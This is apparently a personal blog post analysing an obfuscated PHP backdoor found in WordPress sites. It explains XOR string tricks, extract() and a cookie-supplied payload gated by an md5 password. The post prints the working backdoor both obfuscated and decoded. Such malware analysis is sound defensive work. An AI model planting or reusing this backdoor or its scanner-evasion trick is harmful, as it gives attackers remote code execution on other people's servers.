In my daily job, malware hunting takes a growing part. I remember times, where malware was a nightmare to me, because the detection, the understanding „how it works“ and the cleaning takes a huge amount of time, which has to be done manually. After a few months, I made this nightmare a sport. The tools I use to detect malware are handcrafted and get better from day to day, even the rules database does.
Since I am still struggling with a new purpose for my blog, one could be the deobfuscation of malware. Today I had a trick one, until I understand how it is made.
The raw code
First of all, the following code lurks in wordpresses only. Or better: I didn’t saw it somewhere else.
$s2o=array("tdo"=>".!L;LRw0,R;R?"^"L@?^zf(TI1T6Z","r78"=>"00^*9(%3N/QC;9:"^"SB;KMMzU;A27RVT","gh"=>"@oeOMOjh+[QX{D[^Cs)QVELYJYb}!qjh"^"%_U{{vR]Icc=M%mnwEMa5&.k,kZDDEYZ","g7"=>"&Jp"^"K.E","zh3"=>"!KZLIu#)"^"D*(),EGQ");$lgj="5rt%&dr"^"j1;jm-7";$q7p=&$$lgj;$s2o["ta"]=@$q7p[")CVk"^"@.`Z"];$p6="O^X^9VD"^"*&,,X50";$p6="O^X^9VD"^"*&,,X50";$p6($s2o);if($g7(@$q7p[$zh3])==$gh){$duj=$r78("",$tdo($ta));$duj();}
I removed the PHP syntax highlighting, because a terminal has none, too. The first thing to do is add some spacings and indentations for better reading.
$s2o=array ( "tdo"=>".!L;LRw0,R;R?"^"L@?^zf(TI1T6Z", "r78"=>"00^*9(%3N/QC;9:"^"SB;KMMzU;A27RVT", "gh"=>"@oeOMOjh+[QX{D[^Cs)QVELYJYb}!qjh"^"%_U{{vR]Icc=M%mnwEMa5&.k,kZDDEYZ", "g7"=>"&Jp"^"K.E", "zh3"=>"!KZLIu#)"^"D*(),EGQ" ); $lgj="5rt%&dr"^"j1;jm-7"; $q7p=&$$lgj; $s2o["ta"] = @$q7p[")CVk"^"@.`Z"]; $p6="O^X^9VD"^"*&,,X50"; $p6="O^X^9VD"^"*&,,X50"; $p6($s2o); if( $g7 ( @$q7p[$zh3]) == $gh ) { $duj = $r78("",$tdo($ta)); $duj(); }
Take it apart
The first thing I try to understand, is – how are the strings encoded or obfuscated. Sometimes it is a mixture of eval(), base64_decode(), gzinflate() or sth. else. But all these tests failed here. And I was wondering what these strings are in readable text. I took one of the strings and printed it:
$lgj="5rt%&dr"^"j1;jm-7"; echo $lgj; // => _COOKIE
Ok, PHP seems to translate this obfuscated string to _COOKIE. Hum? If you look closer you’ll see it:
$lgj="5rt%&dr" ^ "j1;jm-7";
There is a bitwise operator. This means we have to strings, which got combined with a XOR into a new variable. And this results in _COOKIE. Until I knew this, I could decoded the whole script to a more readable version:
$s2o=array ( "tdo"=>"base64_decode", "r78"=>"create_function", "gh"=>"e0046985b82e6a6046d0ccb2f289e432", "g7"=>"md5", "zh3"=>"earee0dx" ); $lgj="_COOKIE"; $q7p=&$$lgj; $s2o["ta"] = @$q7p["im61"]; $p6="extract"; $p6="extract"; $p6($s2o); if( $g7 ( @$q7p[$zh3]) == $gh ) { $duj = $r78("",$tdo($ta)); $duj(); }
Variable Games
All PHP malwares needs some common functions to do the expected work in the hosting account or like this one, the wordpress folder. In this case, they were obfuscated by XOR’ing them in two partials. But there is another part which I took a closer look:
$lgj="_COOKIE"; $q7p=&$$lgj; $s2o["ta"] = @$q7p["im61"]; $p6="extract"; $p6($s2o);
A mediocre php programmer should understand this right away. For all the others I’ll explain it:
1. Store the string „_COOKIE“ in the variable „lgj“.
$lgj="_COOKIE";
2. Create a unnamed variable of $lgj and push the reference to a new variable
$q7p=&$$lgj;
This means if you do this:
$q7p['test'] = 'fine';
You can get the content by doing this:
echo $_COOKIE['test']; // => fine
Changing Symbols
The arbitrary code will injected by a malicious cookie. The cookie got read by the global variable $_COOKIE. So far so good, but what’s next? Well, now the extract function takes the ropes to pull. Until the attacker stored additional data in the array with this piece of code:
$s2o["ta"] = @$q7p["im61"];
Now the array is complete to change the PHP symbols table. The extract() function does this (I’m starting to shiver if I only think that a function like this exists…). First of all let me shortly explain what extract() does:
$a = array( "b64e" => "base64_encode" ); extract($a); echo $b64e; // => base64_encode echo $b64e("Hello world"); // => aGVsbG8gd29ybGQ=
In this case we have an array, containing a key „b64e“ which has a value „base64_encode“. With extract() we extract (who couldn’t belive…) the key and the value, generate a new variable $b64e with the value base64_decode. Since the value of the new variable b64e is a function, it acts as a function and it’s possible to encode a little string to base64. This method of obfuscation is necessary to hide the real function names from keyword scanners. Even regex scanners may struggle with it.
The rest of the malware is pretty simple. After a small check with md5 (the md5 validation string is shipped in the malware) to ensure the delivered arbitrary code is correkt, it got executed and does its work within the infected malware.
The end and conclusion
It is not highly clever but needs at least a small moment to thing about what it is doing. There are better ones I will explain soon. What more to say? Happy hackin‘
PS: I hope Google won’t detect this as malicious code and block my blog from indexing…